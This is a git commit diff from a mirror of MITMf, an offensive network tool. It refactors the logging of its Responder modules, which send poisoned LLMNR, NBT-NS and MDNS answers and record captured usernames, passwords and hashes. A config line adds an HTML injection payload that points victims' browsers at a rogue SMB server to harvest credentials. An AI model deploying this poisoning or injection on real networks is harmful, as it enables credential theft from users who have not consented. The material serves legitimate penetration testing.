mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-06 21:12:16 -07:00
third pass:
- All servers back online - modified logging
This commit is contained in:
parent
46356b2ad5
commit
fa59ca466b
19 changed files with 545 additions and 407 deletions
|
@ -159,6 +159,11 @@
|
||||||
#Custom WPAD Script
|
#Custom WPAD Script
|
||||||
WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}'
|
WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}'
|
||||||
|
|
||||||
|
#HTML answer to inject in HTTP responses (before </body> tag).
|
||||||
|
#Set to an empty string to disable.
|
||||||
|
#In this example, we redirect make users' browsers issue a request to our rogue SMB server.
|
||||||
|
HTMLToInject = <img src='file://RespProxySrv/pictures/logo.jpg' alt='Loading' height='1' width='1'>
|
||||||
|
|
||||||
[[HTTPS Server]]
|
[[HTTPS Server]]
|
||||||
|
|
||||||
#Configure SSL Certificates to use
|
#Configure SSL Certificates to use
|
||||||
|
|
|
@ -26,9 +26,7 @@ from core.responder.odict import OrderedDict
|
||||||
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
|
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
|
||||||
from core.responder.utils import *
|
from core.responder.utils import *
|
||||||
|
|
||||||
class LLMNR:
|
def start():
|
||||||
|
|
||||||
def start(self):
|
|
||||||
try:
|
try:
|
||||||
server = ThreadingUDPLLMNRServer(('', 5355), LLMNRServer)
|
server = ThreadingUDPLLMNRServer(('', 5355), LLMNRServer)
|
||||||
t = threading.Thread(name='LLMNR', target=server.serve_forever)
|
t = threading.Thread(name='LLMNR', target=server.serve_forever)
|
||||||
|
@ -80,9 +78,9 @@ def IsICMPRedirectPlausible(IP):
|
||||||
dnsip.extend(ip[1:])
|
dnsip.extend(ip[1:])
|
||||||
for x in dnsip:
|
for x in dnsip:
|
||||||
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
|
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
|
||||||
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
|
settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] You can ICMP Redirect on this network.")
|
||||||
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
|
settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x))
|
||||||
print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
|
settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.")
|
||||||
else:
|
else:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
@ -109,18 +107,15 @@ class LLMNRServer(BaseRequestHandler):
|
||||||
|
|
||||||
# Analyze Mode
|
# Analyze Mode
|
||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
LineHeader = "[Analyze mode: LLMNR]"
|
settings.Config.AnalyzeLogger.warning("[Analyze mode: LLMNR]{} Request by {} for {}, ignoring".format(self.client_address[0], Name))
|
||||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
|
||||||
|
|
||||||
# Poisoning Mode
|
# Poisoning Mode
|
||||||
else:
|
else:
|
||||||
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
|
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
soc.sendto(str(Buffer), self.client_address)
|
soc.sendto(str(Buffer), self.client_address)
|
||||||
LineHeader = "[*] [LLMNR]"
|
settings.Config.PoisonersLogger.warning("[LLMNR] Poisoned answer sent to {} for name {}".format(self.client_address[0], Name))
|
||||||
|
|
||||||
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
|
|
||||||
|
|
||||||
if Finger is not None:
|
if Finger is not None:
|
||||||
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
settings.Config.ResponderLogger.info("[FINGER] OS Version: {}".format(Finger[0]))
|
||||||
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
settings.Config.ResponderLogger.info("[FINGER] Client Version: {}".format(Finger[1]))
|
||||||
|
|
|
@ -24,9 +24,7 @@ from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
|
||||||
from core.responder.packets import MDNS_Ans
|
from core.responder.packets import MDNS_Ans
|
||||||
from core.responder.utils import *
|
from core.responder.utils import *
|
||||||
|
|
||||||
class MDNS:
|
def start():
|
||||||
|
|
||||||
def start(self):
|
|
||||||
try:
|
try:
|
||||||
server = ThreadingUDPMDNSServer(('', 5353), MDNSServer)
|
server = ThreadingUDPMDNSServer(('', 5353), MDNSServer)
|
||||||
t = threading.Thread(name='MDNS', target=server.serve_forever)
|
t = threading.Thread(name='MDNS', target=server.serve_forever)
|
||||||
|
@ -56,12 +54,15 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||||
UDPServer.server_bind(self)
|
UDPServer.server_bind(self)
|
||||||
|
|
||||||
def Parse_MDNS_Name(data):
|
def Parse_MDNS_Name(data):
|
||||||
|
try:
|
||||||
data = data[12:]
|
data = data[12:]
|
||||||
NameLen = struct.unpack('>B',data[0])[0]
|
NameLen = struct.unpack('>B',data[0])[0]
|
||||||
Name = data[1:1+NameLen]
|
Name = data[1:1+NameLen]
|
||||||
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
|
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
|
||||||
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
||||||
return Name+'.'+Name_
|
return Name+'.'+Name_
|
||||||
|
except IndexError:
|
||||||
|
return None
|
||||||
|
|
||||||
def Poisoned_MDNS_Name(data):
|
def Poisoned_MDNS_Name(data):
|
||||||
data = data[12:]
|
data = data[12:]
|
||||||
|
@ -79,14 +80,14 @@ class MDNSServer(BaseRequestHandler):
|
||||||
Request_Name = Parse_MDNS_Name(data)
|
Request_Name = Parse_MDNS_Name(data)
|
||||||
|
|
||||||
# Break out if we don't want to respond to this host
|
# Break out if we don't want to respond to this host
|
||||||
if RespondToThisHost(self.client_address[0], Request_Name) is not True:
|
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
|
||||||
return None
|
return None
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Analyze Mode
|
# Analyze Mode
|
||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
if Parse_IPV6_Addr(data):
|
if Parse_IPV6_Addr(data):
|
||||||
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
|
settings.Config.AnalyzeLogger.warning('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (self.client_address[0], Request_Name))
|
||||||
|
|
||||||
# Poisoning Mode
|
# Poisoning Mode
|
||||||
else:
|
else:
|
||||||
|
@ -97,7 +98,7 @@ class MDNSServer(BaseRequestHandler):
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
soc.sendto(str(Buffer), (MADDR, MPORT))
|
soc.sendto(str(Buffer), (MADDR, MPORT))
|
||||||
|
|
||||||
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
|
settings.Config.PoisonersLogger.warning('[MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name))
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
raise
|
raise
|
|
@ -24,9 +24,7 @@ from core.responder.packets import NBT_Ans
|
||||||
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
|
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
|
||||||
from core.responder.utils import *
|
from core.responder.utils import *
|
||||||
|
|
||||||
class NBTNS:
|
def start():
|
||||||
|
|
||||||
def start(self):
|
|
||||||
try:
|
try:
|
||||||
server = ThreadingUDPServer(('', 137), NBTNSServer)
|
server = ThreadingUDPServer(('', 137), NBTNSServer)
|
||||||
t = threading.Thread(name='NBTNS', target=server.serve_forever)
|
t = threading.Thread(name='NBTNS', target=server.serve_forever)
|
||||||
|
@ -88,18 +86,16 @@ class NBTNSServer(BaseRequestHandler):
|
||||||
|
|
||||||
# Analyze Mode
|
# Analyze Mode
|
||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
LineHeader = "[Analyze mode: NBT-NS]"
|
settings.Config.AnalyzeLogger.warning("[Analyze mode: NBT-NS] Request by %s for %s, ignoring" % (self.client_address[0], Name))
|
||||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
|
||||||
|
|
||||||
# Poisoning Mode
|
# Poisoning Mode
|
||||||
else:
|
else:
|
||||||
Buffer = NBT_Ans()
|
Buffer = NBT_Ans()
|
||||||
Buffer.calculate(data)
|
Buffer.calculate(data)
|
||||||
socket.sendto(str(Buffer), self.client_address)
|
socket.sendto(str(Buffer), self.client_address)
|
||||||
LineHeader = "[*] [NBT-NS]"
|
|
||||||
|
|
||||||
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
|
settings.Config.PoisonersLogger.warning("[NBT-NS] Poisoned answer sent to %s for name %s (service: %s)" % (self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||||
|
|
||||||
if Finger is not None:
|
if Finger is not None:
|
||||||
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
settings.Config.ResponderLogger.info("[FINGER] OS Version : %s" % Finger[0])
|
||||||
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
settings.Config.ResponderLogger.info("[FINGER] Client Version : %s" % Finger[1])
|
||||||
|
|
|
@ -64,5 +64,5 @@ def RunSmbFinger(host):
|
||||||
if data[8:10] == "\x73\x16":
|
if data[8:10] == "\x73\x16":
|
||||||
return OsNameClientVersion(data)
|
return OsNameClientVersion(data)
|
||||||
except:
|
except:
|
||||||
print color("[!] ", 1, 1) +" Fingerprint failed"
|
settings.Config.AnalyzeLogger.warning("Fingerprint failed for host: {}".format(host))
|
||||||
return None
|
return None
|
||||||
|
|
|
@ -19,6 +19,8 @@ import sys
|
||||||
import socket
|
import socket
|
||||||
import utils
|
import utils
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
|
from core.logger import logger
|
||||||
from core.configwatcher import ConfigWatcher
|
from core.configwatcher import ConfigWatcher
|
||||||
|
|
||||||
__version__ = 'Responder 2.2'
|
__version__ = 'Responder 2.2'
|
||||||
|
@ -114,15 +116,16 @@ class Settings(ConfigWatcher):
|
||||||
self.Serve_Always = self.toBool(self.config['Responder']['HTTP Server']['Serve-Always'])
|
self.Serve_Always = self.toBool(self.config['Responder']['HTTP Server']['Serve-Always'])
|
||||||
self.Serve_Html = self.toBool(self.config['Responder']['HTTP Server']['Serve-Html'])
|
self.Serve_Html = self.toBool(self.config['Responder']['HTTP Server']['Serve-Html'])
|
||||||
self.Html_Filename = self.config['Responder']['HTTP Server']['HtmlFilename']
|
self.Html_Filename = self.config['Responder']['HTTP Server']['HtmlFilename']
|
||||||
|
self.HtmlToInject = self.config['Responder']['HTTP Server']['HTMLToInject']
|
||||||
self.Exe_Filename = self.config['Responder']['HTTP Server']['ExeFilename']
|
self.Exe_Filename = self.config['Responder']['HTTP Server']['ExeFilename']
|
||||||
self.Exe_DlName = self.config['Responder']['HTTP Server']['ExeDownloadName']
|
self.Exe_DlName = self.config['Responder']['HTTP Server']['ExeDownloadName']
|
||||||
self.WPAD_Script = self.config['Responder']['HTTP Server']['WPADScript']
|
self.WPAD_Script = self.config['Responder']['HTTP Server']['WPADScript']
|
||||||
|
|
||||||
if not os.path.exists(self.Html_Filename):
|
if not os.path.exists(self.Html_Filename):
|
||||||
print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)
|
print "Warning: %s: file not found" % self.Html_Filename
|
||||||
|
|
||||||
if not os.path.exists(self.Exe_Filename):
|
if not os.path.exists(self.Exe_Filename):
|
||||||
print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)
|
print "Warning: %s: file not found" % self.Exe_Filename
|
||||||
|
|
||||||
# SSL Options
|
# SSL Options
|
||||||
self.SSLKey = self.config['Responder']['HTTPS Server']['SSLKey']
|
self.SSLKey = self.config['Responder']['HTTPS Server']['SSLKey']
|
||||||
|
@ -146,8 +149,9 @@ class Settings(ConfigWatcher):
|
||||||
self.AnalyzeMode = options.analyze
|
self.AnalyzeMode = options.analyze
|
||||||
#self.Upstream_Proxy = options.Upstream_Proxy
|
#self.Upstream_Proxy = options.Upstream_Proxy
|
||||||
|
|
||||||
|
self.Verbose = False
|
||||||
|
if options.log_level == 'debug':
|
||||||
self.Verbose = True
|
self.Verbose = True
|
||||||
self.CommandLine = str(sys.argv)
|
|
||||||
|
|
||||||
self.Bind_To = utils.FindLocalIP(self.Interface)
|
self.Bind_To = utils.FindLocalIP(self.Interface)
|
||||||
|
|
||||||
|
@ -158,7 +162,7 @@ class Settings(ConfigWatcher):
|
||||||
self.NumChal = self.config['Responder']['Challenge']
|
self.NumChal = self.config['Responder']['Challenge']
|
||||||
|
|
||||||
if len(self.NumChal) is not 16:
|
if len(self.NumChal) is not 16:
|
||||||
print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
|
print "The challenge must be exactly 16 chars long.\nExample: 1122334455667788"
|
||||||
sys.exit(-1)
|
sys.exit(-1)
|
||||||
|
|
||||||
self.Challenge = ""
|
self.Challenge = ""
|
||||||
|
@ -166,23 +170,12 @@ class Settings(ConfigWatcher):
|
||||||
self.Challenge += self.NumChal[i:i+2].decode("hex")
|
self.Challenge += self.NumChal[i:i+2].decode("hex")
|
||||||
|
|
||||||
# Set up logging
|
# Set up logging
|
||||||
logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
|
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||||
logging.warning('Responder Started: {}'.format(self.CommandLine))
|
self.ResponderLogger = logger().setup_logger("Responder", formatter, self.SessionLogFile)
|
||||||
|
#logging.warning('Responder Started: {}'.format(self.CommandLine))
|
||||||
#logging.warning('Responder Config: {}'.format(self))
|
#logging.warning('Responder Config: {}'.format(self))
|
||||||
|
|
||||||
Formatter = logging.Formatter('%(asctime)s - %(message)s')
|
self.PoisonersLogger = logger().setup_logger("Poison log", formatter, self.PoisonersLogFile)
|
||||||
PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w')
|
self.AnalyzeLogger = logger().setup_logger("Analyze Log", formatter, self.AnalyzeLogFile)
|
||||||
ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a')
|
|
||||||
PLog_Handler.setLevel(logging.INFO)
|
|
||||||
ALog_Handler.setLevel(logging.INFO)
|
|
||||||
PLog_Handler.setFormatter(Formatter)
|
|
||||||
ALog_Handler.setFormatter(Formatter)
|
|
||||||
|
|
||||||
self.PoisonersLogger = logging.getLogger('Poisoners Log')
|
|
||||||
self.PoisonersLogger.addHandler(PLog_Handler)
|
|
||||||
|
|
||||||
self.AnalyzeLogger = logging.getLogger('Analyze Log')
|
|
||||||
self.AnalyzeLogger.addHandler(ALog_Handler)
|
|
||||||
|
|
||||||
global Config
|
|
||||||
Config = Settings()
|
Config = Settings()
|
|
@ -21,34 +21,7 @@ import logging
|
||||||
import socket
|
import socket
|
||||||
import time
|
import time
|
||||||
import settings
|
import settings
|
||||||
|
|
||||||
try:
|
|
||||||
import sqlite3
|
import sqlite3
|
||||||
except:
|
|
||||||
print "[!] Please install python-sqlite3 extension."
|
|
||||||
sys.exit(0)
|
|
||||||
|
|
||||||
def color(txt, code = 1, modifier = 0):
|
|
||||||
|
|
||||||
if txt.startswith('[*]'):
|
|
||||||
settings.Config.PoisonersLogger.warning(txt)
|
|
||||||
|
|
||||||
elif 'Analyze' in txt:
|
|
||||||
settings.Config.AnalyzeLogger.warning(txt)
|
|
||||||
|
|
||||||
# No colors for windows...
|
|
||||||
if os.name == 'nt':
|
|
||||||
return txt
|
|
||||||
|
|
||||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
|
||||||
|
|
||||||
def text(txt):
|
|
||||||
logging.info(txt)
|
|
||||||
|
|
||||||
if os.name == 'nt':
|
|
||||||
return txt
|
|
||||||
|
|
||||||
return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
|
|
||||||
|
|
||||||
def RespondToThisIP(ClientIp):
|
def RespondToThisIP(ClientIp):
|
||||||
|
|
||||||
|
@ -102,13 +75,12 @@ def FindLocalIP(Iface):
|
||||||
return ret
|
return ret
|
||||||
|
|
||||||
except socket.error:
|
except socket.error:
|
||||||
print color("[!] Error: %s: Interface not found" % Iface, 1)
|
|
||||||
sys.exit(-1)
|
sys.exit(-1)
|
||||||
|
|
||||||
# Function used to write captured hashs to a file.
|
# Function used to write captured hashs to a file.
|
||||||
def WriteData(outfile, data, user):
|
def WriteData(outfile, data, user):
|
||||||
|
|
||||||
logging.info("[*] Captured Hash: %s" % data)
|
settings.Config.ResponderLogger.info("[*] Captured Hash: %s" % data)
|
||||||
|
|
||||||
if os.path.isfile(outfile) == False:
|
if os.path.isfile(outfile) == False:
|
||||||
with open(outfile,"w") as outf:
|
with open(outfile,"w") as outf:
|
||||||
|
@ -176,23 +148,22 @@ def SaveToDb(result):
|
||||||
if count == 0 or settings.Config.Verbose:
|
if count == 0 or settings.Config.Verbose:
|
||||||
|
|
||||||
if len(result['client']):
|
if len(result['client']):
|
||||||
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
|
settings.Config.ResponderLogger.info("[%s] %s Client : %s" % (result['module'], result['type'], result['client']))
|
||||||
if len(result['hostname']):
|
if len(result['hostname']):
|
||||||
print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3)))
|
settings.Config.ResponderLogger.info("[%s] %s Hostname : %s" % (result['module'], result['type'], result['hostname']))
|
||||||
if len(result['user']):
|
if len(result['user']):
|
||||||
print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3)))
|
settings.Config.ResponderLogger.info("[%s] %s Username : %s" % (result['module'], result['type'], result['user']))
|
||||||
|
|
||||||
# Bu order of priority, print cleartext, fullhash, or hash
|
# By order of priority, print cleartext, fullhash, or hash
|
||||||
if len(result['cleartext']):
|
if len(result['cleartext']):
|
||||||
print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3)))
|
settings.Config.ResponderLogger.info("[%s] %s Password : %s" % (result['module'], result['type'], result['cleartext']))
|
||||||
elif len(result['fullhash']):
|
elif len(result['fullhash']):
|
||||||
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3)))
|
settings.Config.ResponderLogger.info("[%s] %s Hash : %s" % (result['module'], result['type'], result['fullhash']))
|
||||||
elif len(result['hash']):
|
elif len(result['hash']):
|
||||||
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3)))
|
settings.Config.ResponderLogger.info("[%s] %s Hash : %s" % (result['module'], result['type'], result['hash']))
|
||||||
|
|
||||||
else:
|
else:
|
||||||
print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user']
|
settings.Config.PoisonersLogger.warning('Skipping previously captured hash for %s' % result['user'])
|
||||||
|
|
||||||
|
|
||||||
def Parse_IPV6_Addr(data):
|
def Parse_IPV6_Addr(data):
|
||||||
|
|
||||||
|
@ -238,88 +209,6 @@ def NBT_NS_Role(data):
|
||||||
|
|
||||||
return Role[data] if data in Role else "Service not known"
|
return Role[data] if data in Role else "Service not known"
|
||||||
|
|
||||||
def banner():
|
|
||||||
|
|
||||||
banner = "\n".join([
|
|
||||||
' __',
|
|
||||||
' .----.-----.-----.-----.-----.-----.--| |.-----.----.',
|
|
||||||
' | _| -__|__ --| _ | _ | | _ || -__| _|',
|
|
||||||
' |__| |_____|_____| __|_____|__|__|_____||_____|__|',
|
|
||||||
' |__|'
|
|
||||||
])
|
|
||||||
|
|
||||||
print banner
|
|
||||||
print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__
|
|
||||||
print ""
|
|
||||||
print " Original work by Laurent Gaffie (lgaffie@trustwave.com)"
|
|
||||||
print " To kill this script hit CRTL-C"
|
|
||||||
print ""
|
|
||||||
|
|
||||||
def StartupMessage():
|
|
||||||
enabled = color('[ON]', 2, 1)
|
|
||||||
disabled = color('[OFF]', 1, 1)
|
|
||||||
|
|
||||||
print ""
|
|
||||||
print color("[+] ", 2, 1) + "Poisoners:"
|
|
||||||
print ' %-27s' % "LLMNR" + enabled
|
|
||||||
print ' %-27s' % "NBT-NS" + enabled
|
|
||||||
print ' %-27s' % "DNS/MDNS" + enabled
|
|
||||||
print ""
|
|
||||||
|
|
||||||
print color("[+] ", 2, 1) + "Servers:"
|
|
||||||
print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)
|
|
||||||
print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)
|
|
||||||
print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)
|
|
||||||
print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)
|
|
||||||
print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)
|
|
||||||
print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)
|
|
||||||
print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled)
|
|
||||||
print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled)
|
|
||||||
print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled)
|
|
||||||
print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)
|
|
||||||
print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)
|
|
||||||
print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)
|
|
||||||
print ""
|
|
||||||
|
|
||||||
print color("[+] ", 2, 1) + "HTTP Options:"
|
|
||||||
print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled)
|
|
||||||
print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled)
|
|
||||||
print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled)
|
|
||||||
print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled)
|
|
||||||
#print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script
|
|
||||||
print ""
|
|
||||||
|
|
||||||
print color("[+] ", 2, 1) + "Poisoning Options:"
|
|
||||||
print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled)
|
|
||||||
print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)
|
|
||||||
print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)
|
|
||||||
print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)
|
|
||||||
print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)
|
|
||||||
print ""
|
|
||||||
|
|
||||||
print color("[+] ", 2, 1) + "Generic Options:"
|
|
||||||
print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)
|
|
||||||
print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)
|
|
||||||
print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)
|
|
||||||
|
|
||||||
if settings.Config.Upstream_Proxy:
|
|
||||||
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
|
|
||||||
|
|
||||||
if len(settings.Config.RespondTo):
|
|
||||||
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
|
|
||||||
|
|
||||||
if len(settings.Config.RespondToName):
|
|
||||||
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
|
|
||||||
|
|
||||||
if len(settings.Config.DontRespondTo):
|
|
||||||
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
|
|
||||||
|
|
||||||
if len(settings.Config.DontRespondToName):
|
|
||||||
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
|
|
||||||
|
|
||||||
print ""
|
|
||||||
print ""
|
|
||||||
|
|
||||||
# Useful for debugging
|
# Useful for debugging
|
||||||
def hexdump(src, l=0x16):
|
def hexdump(src, l=0x16):
|
||||||
res = []
|
res = []
|
||||||
|
|
|
@ -87,15 +87,15 @@ def ParsePacket(Payload):
|
||||||
def RAPThisDomain(Client,Domain):
|
def RAPThisDomain(Client,Domain):
|
||||||
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
|
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
|
||||||
if PDC is not None:
|
if PDC is not None:
|
||||||
print text("[LANMAN] Detected Domains: %s" % ', '.join(PDC))
|
settings.Config.ResponderLogger.info("[LANMAN] Detected Domains: %s" % ', '.join(PDC))
|
||||||
|
|
||||||
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
|
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
|
||||||
if SQL is not None:
|
if SQL is not None:
|
||||||
print text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL)))
|
settings.Config.ResponderLogger.info("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL)))
|
||||||
|
|
||||||
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
|
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
|
||||||
if WKST is not None:
|
if WKST is not None:
|
||||||
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
|
settings.Config.ResponderLogger.info("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
|
||||||
|
|
||||||
def RapFinger(Host, Domain, Type):
|
def RapFinger(Host, Domain, Type):
|
||||||
try:
|
try:
|
||||||
|
@ -169,7 +169,7 @@ def BecomeBackup(data,Client):
|
||||||
Role = NBT_NS_Role(data[45:48])
|
Role = NBT_NS_Role(data[45:48])
|
||||||
|
|
||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))
|
settings.Config.AnalyzeLogger.warning("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))
|
||||||
print RAPThisDomain(Client, Domain)
|
print RAPThisDomain(Client, Domain)
|
||||||
|
|
||||||
except:
|
except:
|
||||||
|
@ -184,7 +184,7 @@ def ParseDatagramNBTNames(data,Client):
|
||||||
|
|
||||||
|
|
||||||
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
|
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
|
||||||
print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2))
|
settings.Config.AnalyzeLogger.warning('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2))
|
||||||
print RAPThisDomain(Client, Domain)
|
print RAPThisDomain(Client, Domain)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -15,12 +15,41 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import os
|
import os
|
||||||
|
import threading
|
||||||
|
|
||||||
from core.utils import *
|
from core.responder.utils import *
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
|
||||||
from core.packets import FTPPacket
|
from core.responder.packets import FTPPacket
|
||||||
|
|
||||||
class FTP(BaseRequestHandler):
|
class FTP:
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
try:
|
||||||
|
if OsInterfaceIsSupported():
|
||||||
|
